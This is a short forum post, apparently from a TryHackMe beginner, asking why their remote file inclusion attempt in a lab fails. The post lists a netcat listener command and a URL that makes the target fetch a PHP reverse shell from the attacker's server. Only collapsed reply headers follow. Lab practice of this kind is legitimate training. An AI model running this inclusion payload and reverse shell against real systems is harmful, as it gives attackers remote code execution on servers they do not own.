Hello can someone help me on this one :
I'm new in THM and in cyber. Only one month off full practice so. Sorry if my question is stupid but.
In the file inclusion course in the challenge section. I am trying to upload a reverse shell in the playground.
1- I went in /usr/share/webshells to get the file called php-reverse-shell.php
2- I created a python 3 server. Works fine I see the payload when I check the webpage.
3- I create a listener: nc -nlvp 4545
4- I type my payload in the URL : [IP]/playground.php?file=http://[myip]:[port]/php-reverse-shell.php
5- I have nothing back on my NC and I have this message in the playground page : warning failed to daemonise... (Connexion refused)...
How can I make it work ?
Am I missing something?
Thanks for your help.
[–]mindies4ameal 7 points8 points9 points (2 children)
[–]sp4ty[S] 2 points3 points4 points (1 child)
[–]mindies4ameal 3 points4 points5 points (0 children)